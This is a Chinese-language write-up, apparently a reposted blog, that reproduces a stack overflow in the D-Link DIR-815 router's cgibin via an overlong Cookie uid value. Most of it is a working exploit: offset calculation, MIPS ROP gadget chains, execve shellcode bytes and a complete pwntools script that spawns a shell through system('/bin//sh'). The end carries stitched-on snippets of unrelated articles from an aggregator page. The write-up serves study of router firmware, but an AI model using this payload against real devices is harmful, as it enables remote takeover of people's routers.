路由器漏洞挖掘之 DIR-815 栈溢出漏洞分析

这次笔者来复现一个比较经典的栈溢出漏洞:D-link dir-815 栈溢出。其实这个路由器的栈溢出漏洞的利用方式和之前 DVRF 靶机平台的栈溢出例子大同小异,只是需要注意下一些小的地方。

前言

这个栈溢出的原因是由于 cookie 的值过长导致的栈溢出。服务端取得客户端请求的 HTTP 头中 Cookie 字段中 uid 的值,格式化到栈上导致溢出。

漏洞分析

大体流程

首先还是先将 cgibin 加载到 IDA 中,定位到 sobj_get_string 函数。

在 sobj_get_string 函数中,取得 "uid=" 后的值

sprintf($sp, 0x4E8+var_428,"%s/%s/postxml","/runtime/session",getenv("HTTP_COOKIE"))

在执行完 sprintf 函数后,在栈上已经产生了溢出

将0x76FEE8CC 地址处的值赋值给 ra 寄存器

在 jr $ra 时就触发了栈溢出

  • 但是在真实的路由器环境中存在 /var/tmp/temp.xml 的文件,所以真正的可利用的栈溢出是位于 0x0040997C 处的 sprintf 函数

最后在执行完函数之后,还是会触发这个栈溢出

漏洞利用

这里还是使用 patternLocOffset.py 来生成一个填充文件

python patternLocOffset.py -c -l 1600 -f dir_815_overflow

但是注意在 string 的前面需要加上 "uid=",因为这里会执行 sobj_get_string("uid=") 函数,来取到参数 uid 的值,如果没有 uid 参数的话程序会直接结束

同样执行 run.sh 脚本来动态调试

sudo ./run.sh "uid=1234" `cat dir_815_overflow` -d

在 0x00409A28 处下断点。
这里 ra 的值是 0x68423668,在 patternLocOffset.py 中确定偏移

这里偏移是 1009

[email protected]:~/iot/tools$ python patternLocOffset.py -s 0x68423668 -l 1600
[*] Create pattern string contains 1600 characters ok!
[*] No exact matches, looking for likely candidates...
[+] Possible match at offset 1009 (adjusted another-endian)
[+] take time: 0.0301 s

所以我们构造

[email protected]:~/iot/firmware/dir-815/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root$ python -c "print 'uid='+'a'*1009+'\x78\x56\x34\x12'" > payload
[email protected]:~/iot/firmware/dir-815/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root$ sudo ./run.sh "uid=1234" `cat payload` -d

这里就成功控制了返回地址

ROP 链的构造

关于 ROP 链的构造可以参考笔者的前几篇文章:

传送们:
https://www.anquanke.com/post/id/172126
https://www.anquanke.com/post/id/173362

  • 图片显示不出来的话可以挂个梯子。

同样的我们把 ROP 的构造分为两块:调用 sleep(1) 函数和调用 shellcode

获取基本信息

这里在本地使用 gdb-mul 工具,命令target remote :23946 连接上 gdbserver 之后,在 0x00409A28 出下断,使用 vmmap 查看区段的映射情况,找到 libc 的基地址 0x76738000

之后找到 libc 文件,把他加载到 IDA 中。

调用 sleep(1) 函数

这里为了更好展示和理解,画了一幅流程图,看确定在使用 mipsrop 工具下,各个 ROP 的调用顺序

找到 sleep 函数的参数

先使用 "li $a0,1" 来寻找 rop,在 0x00057E50 处发现一条合适的指令。这里的 s1 寄存器设置成下一条 gadget 的地址。

此时的 payload:

base_addr = 0x76738000

rop1 = 0x0003E524

padding = 'uid=' + 'a' * 973
padding += 'a' * 4                              # s0
padding += p32(base_addr + rop1)                # s1
padding += 'a' * 4                              # s2
padding += 'a' * 4                              # s3
padding += 'a' * 4                              # s4
padding += 'a' * 4                              # s5
padding += 'a' * 4                              # s6
padding += 'a' * 4                              # s7
padding += 'a' * 4                              # fp

rop2 = 0x00057E50

payload = padding + p32(base_addr + rop2)

接着使用 mipsrop.tail(),准备填充 ra 寄存器

在指令 0x0003E528 处,可以看到 sp 和 ra 寄存器的距离为 0x24,所以这里的填充为 0x24,后面的四个字节就是 ra 寄存器的值(给 ra 寄存器赋值)

.text:0003E528                 lw      $ra, 0x28+var_4($sp)

这里需要跳转到 sleep 函数去执行,所以 s2 寄存器就填充为 sleep 函数的地址,ra 寄存器填充为下一个 gadget 的地址,这样就可以达到在执行完 sleep 函数刷新缓存的同时,执行 jr $ra 跳转到想到的地址。

这时的 payload:

base_addr = 0x76738000

sleep_addr = 0x00056BD0
rop1 = 0x0003E524

padding = 'uid=' + 'a' * 973
padding += 'a' * 4                              # s0
padding += p32(base_addr + rop1)                # s1
padding += p32(base_addr + sleep_addr)          # s2
padding += 'a' * 4                              # s3
padding += 'a' * 4                              # s4
padding += 'a' * 4                              # s5
padding += 'a' * 4                              # s6
padding += 'a' * 4                              # s7
padding += 'a' * 4                              # fp

rop2 = 0x00057E50

payload = padding + p32(base_addr + rop2)
  • 注意各个寄存器的位置

构造 shellcode

接着是使用 mipsrop.stackfinder() 查找 gadget,做好往栈上填充 shellcode 的准备

这里找到一条指令 ,我们可以往 $sp+0x18 的位置填充 shellcode,此时 a1 寄存器就存放着 shellcode 的地址

.text:0000B814                 addiu   $a1, $sp, 0x168+var_150

最后使用 mipsrop.find("move $t9,$a1") 找到可以跳到到 a1 寄存器的指令。
找到 0x00037E6C 这里的 gadget,正好满足我们的需求。

调用 shellcode 时的 payload:

rop3 = 0x0000B814               # mipsrop.stackfinder()

rop4 = 0x00037E6C               # mipsrop.find("move $t9,$a1")
payload += 'b' * 0x1c           # 上一步调用完 sleep 函数的填充(mipsrop.tail())
payload += p32(base_addr + rop4)                # s1
payload += 'b' * 4                              # s2
payload += p32(base_addr + rop3)                # ra

shellcode = "\xff\xff\x06\x28"  # slti $a2, $zero, -1
shellcode += "\x62\x69\x0f\x3c"  # lui $t7, 0x6962
shellcode += "\x2f\x2f\xef\x35"  # ori $t7, $t7, 0x2f2f
shellcode += "\xf4\xff\xaf\xaf"  # sw $t7, -0xc($sp)
shellcode += "\x73\x68\x0e\x3c"  # lui $t6, 0x6873
shellcode += "\x6e\x2f\xce\x35"  # ori $t6, $t6, 0x2f6e
shellcode += "\xf8\xff\xae\xaf"  # sw $t6, -8($sp)
shellcode += "\xfc\xff\xa0\xaf"  # sw $zero, -4($sp)
shellcode += "\xf4\xff\xa4\x27"  # addiu $a0, $sp, -0xc
shellcode += "\xff\xff\x05\x28"  # slti $a1, $zero, -1
shellcode += "\xab\x0f\x02\x24"  # addiu;$v0, $zero, 0xfab
shellcode += "\x0c\x01\x01\x01"  # syscall 0x40404

payload += 'f' * 0x18       # mipsrop.stackfinder() 查找到的指令的填充值
payload += shellcode        # 放置 shellcode

在 gdb 中开启调试,发现最后成功跳转到 shellcode 的位置

执行 shellcode

但是这里不知道为什么无法会报错 Illegal instruction

这里还可以使用调用 system 函数的方法来 getshell。

调用 syetem 函数的方法 getshell

我们的目的是执行 system("/bin/sh\x00"),这里的参数可以使用 mipsrop.stackfinder() 的 gadget 来把 "/bin/sh\x00" 传到栈上。之后将这个栈的位置传入 a0 寄存器,这样就达到了利用的目的

我们首先在 libc.so 中找到 system 函数的位置,在 0x00053200 处,显然地址的最低位是坏字节,没办法直接传入

这里参考了《揭秘家用路由器0day漏洞挖掘技术》一书的方法:先将 system 函数的地址 -1 传入某个寄存器中,之后找到对这个寄存器进行加 +1 的操作的 gadget 进行调用即可将地址恢复到 0x53200。

具体操作

这里还是用流程图来表示 gadget 的生成过程:

首先利用溢出把 0x53200 -1 传入 s0 寄存器,之后寻找 s0+1 的指令

Python>mipsrop.find("addiu $s0,1")
----------------------------------------------------------------------------------------------------------------
| Address | Action | Control Jump |
----------------------------------------------------------------------------------------------------------------
| 0x000158C8 | addiu $s0,1 | jalr $s5 |
| 0x000158D0 | addiu $s0,1 | jalr $s5 |
| 0x0002374C | addiu $s0,1 | jalr $fp |
| 0x0002D194 | addiu $s0,1 | jalr $s5 |
......
---------------------------------------

这里使用第一个 gadget ,指令的意思是直接跳到 s5 寄存器指向的地址,所以上一步溢出时需要事先把 s5 填充为下一个 gadget 的地址

接着使用 mipsrop.stackfinder() 查找 gadget:

Python>mipsrop.stackfinder()
----------------------------------------------------------------------------------------------------------------
| Address | Action | Control Jump |
----------------------------------------------------------------------------------------------------------------
| 0x0000B814 | addiu $a1,$sp,0x168+var_150 | jalr $s1 |
| 0x0000B830 | addiu $a1,$sp,0x168+var_B0 | jalr $s1 |
| 0x0000DEF0 | addiu $s2,$sp,0xC8+var_B8 | jalr $s4 |
| 0x00013F74 | addiu $s1,$sp,0x50+var_38 | jalr $s4 |
| 0x00014F28 | addiu $s1,$sp,0x50+var_38 | jalr $s4 |
| 0x000159CC | addiu $s5,$sp,0x170+var_160 | jalr $s0 |
......

选择 0x159cc 这个 gadget ,双击进入查看指令

之所以选择这个 gadget 的原因是因为这里我们可以通过溢出,直接在栈上操纵 a0 寄存器

  • 或者这里也可以使用 mipsrop.system() 来查找 rop 链,这类的 gadget 指令的作用主要是将栈上可控的数据直接传递给 a0 寄存器,如下:
Python>mipsrop.system()
----------------------------------------------------------------------------------------------------------------
| Address | Action | Control Jump |
----------------------------------------------------------------------------------------------------------------
| 0x00042F60 | addiu $a0,$sp,0x38+var_20 | jalr $a0 |
| 0x000567A0 | addiu $a0,$sp,0xA0+var_88 | jalr $s4 |
| 0x00027440 | addiu $a0,$sp,0x30+var_18 | jr 0x30+var_4($sp) |
| 0x000330F8 | addiu $a0,$sp,0x78+var_60 | jr 0x78+var_4($sp) |
| 0x00036360 | addiu $a0,$sp,0x48+var_30 | jr 0x48+var_4($sp) |
| 0x0003F8FC | addiu $a0,$sp,0x50+var_38 | jr 0x50+var_4($sp) |
| 0x00042F6C | addiu $a0,$sp,0x38+var_20 | jr 0x38+var_4($sp) |
----------------------------------------------------------------

之后通过 jalr $s0,这里的 s0 的值为原来 0x531ff+1 后复原的 system 地址的值,也就跳转到了 system("/bin//sh") 函数。

exp

#!/usr/bin/python
from pwn import *

context.endian="little"
context.arch="mips"

base_addr = 0x76738000

system_addr_1 = 0x53200-1
rop1 = 0x000158C8
rop2 = 0x159CC

padding = 'uid=' + 'a' * 973
padding += p32(base_addr + system_addr_1)                              # s0
padding += 'a' * 4                      # s1
padding += 'a' * 4                      # s2
padding += 'a' * 4                              # s3
padding += 'a' * 4                              # s4
padding += p32(base_addr+rop2)              # s5
padding += 'a' * 4                              # s6
padding += 'a' * 4                              # s7
padding += 'a' * 4                              # fp

padding += p32(base_addr + rop1)        # ra

#------------------------- stack 2 ----------------------------
padding += 'b' * 0x10
padding += '/bin//sh'

with open("call_system_padding",'wb') as f:
    f.write(padding)

f.close()

动态调试

依然是使用 gdb 在 0x00409A28 处下断点,第一步先跳转到对 s0 加一的 gadget 处

之后跳转到 s5 寄存器的地址处,把 $sp + 0x10 处的地址传入 s5 寄存器,可以看到这里已经填充完成

此时就跳转到了 system 函数,这样就获得了一个 shell。

总结

路由器的栈溢出的漏洞点都比较单一,大多数都是由 sprintf 和 strcpy 等函数使用不当造成的。构造 ROP 的方法比较固定,只要对于 mipsrop 这个工具有个熟练的掌握和运用,在寻找 gadget 时脑回路清晰一些,利用的过程也不算太难。

原文地址:https://www.cnblogs.com/H4lo/p/10996943.html

时间: 2024-11-09 00:56:28

路由器漏洞挖掘之 DIR-815 栈溢出漏洞分析的相关文章

SRC漏洞挖掘

SRC目标搜集 首先得知道SRC厂商的关键字,利用脚本搜集一波. 比如[应急响应中心]就可以作为一个关键字.通过搜索引擎搜索一波,去重,入库. # -*- coding:utf-8 -*- ''' 从百度把前10页的搜索到的url爬取保存 ''' import multiprocessing # 利用pool进程池实现多进程并行 # from threading import Thread 多线程 import time from bs4 import BeautifulSoup # 处理抓到的

漏洞挖掘方法之静态扫描+经典栈溢出实例

标 题: 漏洞挖掘方法之静态扫描+经典栈溢出实例 时 间: 2014-02-11,01:52:50 这是笔者公开发表的关于漏洞挖掘的第二篇文章,与发第一篇的时间差不多间隔了整整一年,在这一年里虽然工作细碎,但我还是抽出了大量的时间关注安全,因为当初的既定目标就是走安全的路.这一年了也做了不少关于安全方面的事情,比如参加各大*SRC的漏洞提交什么的,曾今有一段时间也是走火入魔了一样,但是后来我停下来了,因为我觉得那种事情偏离我最初对"漏洞"挖掘的定义,看了那些提交的所谓"漏洞&

D-Link系列路由器漏洞挖掘入门

D-Link系列路由器漏洞挖掘入门 前言 前几天去上海参加了geekpwn,看着大神们一个个破解成功各种硬件,我只能在下面喊 6666,特别羡慕那些大神们.所以回来就决定好好研究一下路由器,争取跟上大神们的步伐.看网上公开的D-Link系列的漏洞也不少,那就从D-Link路由器漏洞开始学习. 准备工作 既然要挖路由器漏洞,首先要搞到路由器的固件. D-Link路由器固件下载地址: ftp://ftp2.dlink.com/PRODUCTS/ 下载完固件发现是个压缩包,解压之后里面还是有一个bin

路由器漏洞挖掘环境搭建

详细的路由器漏洞分析环境搭建教程 http://chuansong.me/n/864762852648 嵌入式Linux固件模拟与安全分析系统Firmadyne交流 http://chuansong.me/n/1009525252762 优秀博文: 路由器固件安全分析技术(一) https://www.vulbox.com/knowledge/detail/?id=35      一起学习从零基础从搭建环境开始入门路由器固件安全分析的技术 路由器固件安全分析技术(二) https://www.v

路由器漏洞挖掘方法

MIPS32架构堆栈: 和x86 架构一样,都是由高地址向低地址增长,无EBP. 进入函数调用时,把栈指针(sp)向下移动n比特,这个大小为n比特的存储空间为此函数的stack Frame. 此后栈指针不移动,只有在函数返回时,加上这个偏移量恢复现场. 由于不能随便移动栈指针,所以寄存器压栈和出栈使用偏移 A调用B,会在A 的栈顶预留一部分空间保存b的调用参数,称为参数空间. 参数传递,前4个参数通过a0-a4传递,超出的会放入参数空间. 返回地址:把返回地址直接存入$ra寄存器. 函数执行的命

揭秘家用路由器0day漏洞挖掘技术——互动出版网

这篇是计算机类的优质预售推荐>>>><揭秘家用路由器0day漏洞挖掘技术> 全球第一本关于家用路由器底层安全分析的书籍! 编辑推荐 全球第一本硬件安全分析书籍,填补了硬件安全领域的空白:带领大家进入HT团队都还未涉及的领域!作者十年磨一剑之心血力作! <揭秘家用路由器0day漏洞挖掘技术>针对当下网络安全设备问题层出不穷.而系统化的安全分析资料越来越难寻的现状,从家用路由器入手,全方位的讲解了路由器漏洞分析.漏洞挖掘.路由器固件提取.硬件调试等方面的相关知识

小白日记37:kali渗透测试之Web渗透-手动漏洞挖掘(三)-目录遍历、文件包含

手动漏洞挖掘 漏洞类型 #Directory traversal 目录遍历[本台机器操作系统上文件进行读取] 使用者可以通过浏览器/URL地址或者参数变量内容,可以读取web根目录[默认为:/var/www/]之外的其他操作系统文件(如:/etc/passwd/).形成根源:目录权限限制不严格 #File include文件包含[1.include本地文件包含LFI:2.远程系统文件包含RFI(可传入木马)] 通常为如include函数,可以将web根目录以外的目录包含进来.根源:include

【安全牛学习】笔记手动漏洞挖掘(三)

手动漏洞挖掘 Directory travarsal / File include(有区别/没区别) 目录权限限制不严 / 文件包含 /etc/php5/cgi/php.ini allow_url_include = on 应用程序功能操作文件,限制不严时导致访问WEB目录以外的文件 读.写文件.远程执行代码 特征但不绝对 ?page=a.php ?home=b.html ?file=content [email protected]:~$ ifconfig [email protected]:

【安全牛学习笔记】手动漏洞挖掘(三)

手动漏洞挖掘 Directory travarsal / File include(有区别/没区别) 目录权限限制不严 / 文件包含 /etc/php5/cgi/php.ini allow_url_include = on 应用程序功能操作文件,限制不严时导致访问WEB目录以外的文件 读.写文件.远程执行代码 特征但不绝对 ?page=a.php ?home=b.html ?file=content [email protected]:~$ ifconfig [email protected]: